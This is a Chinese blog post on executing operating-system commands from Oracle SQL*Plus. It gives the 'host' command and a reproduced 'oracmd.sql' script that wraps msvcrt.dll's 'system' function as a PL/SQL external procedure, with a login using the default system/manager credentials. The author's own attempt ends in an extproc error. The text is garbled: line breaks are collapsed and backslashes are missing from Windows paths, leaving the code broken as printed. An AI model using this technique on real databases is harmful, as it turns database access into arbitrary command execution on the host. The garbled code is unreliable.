欢迎光临
我们一直在努力

oracle执行cmd的方法

装了一个oracle db11g,于是想试一下网上流传的在sqlplus中执行cmd的一些命令,也不知怎么的,没一个好用的,可能是网上转来转去的转错了.不过有一个简单的执行cmd命令方法:SQL> host net userUser accounts for \PC-ATQHJ4UG1SDA----------------------------------------------------------------------------__vmware_user__ admin AdministratorASPNET Guest IUSR_PC-ATQHJ4UG1SDAIWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0The command completed successfully.unix或linux下用! command======================补充======================网上的另两种方法:1是利用msvcrt.dll写一个c:orac.sql内容:RemRem oracmd.sqlRemRem Run system commands via Oracle database serversRemRem Bugs to david@ngssoftware.comRemCREATE OR REPLACE LIBRARY exec_shell AS'C:windowssystem32msvcrt.dll';/show errorsCREATE OR REPLACE PACKAGE oracmd ISPROCEDURE exec (cmdstring IN CHAR);end oracmd;/show errorsCREATE OR REPLACE PACKAGE BODY oracmd ISPROCEDURE exec(cmdstring IN CHAR)IS EXTERNALNAME "system" LIBRARY exec_shellLANGUAGE C;end oracmd;/show errors然后C:>sqlplus /nologSQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001(c) Copyright 2000 Oracle Corporation. All rights reserved.SQL> connect system/manager@orcl (分别是用户名密码和sid)Connected.SQL> @c:orac.sqlLibrary created.No errors.Package created.No errors.Package body created.No errors.SQL>SQL> exec oracmd.exec ('dir > c:oracle.txt');结果在我本机出现第 1 行出现错误:ORA-28595: Extproc 代理: DLL 路径无效ORA-06512: 在 "SYSTEM.ORACMD", line 2ORA-06512: 在 line 1没有成功。

赞(0)
未经允许不得转载:福利吧|福利社|fuliba » oracle执行cmd的方法

相关推荐

  • 暂无文章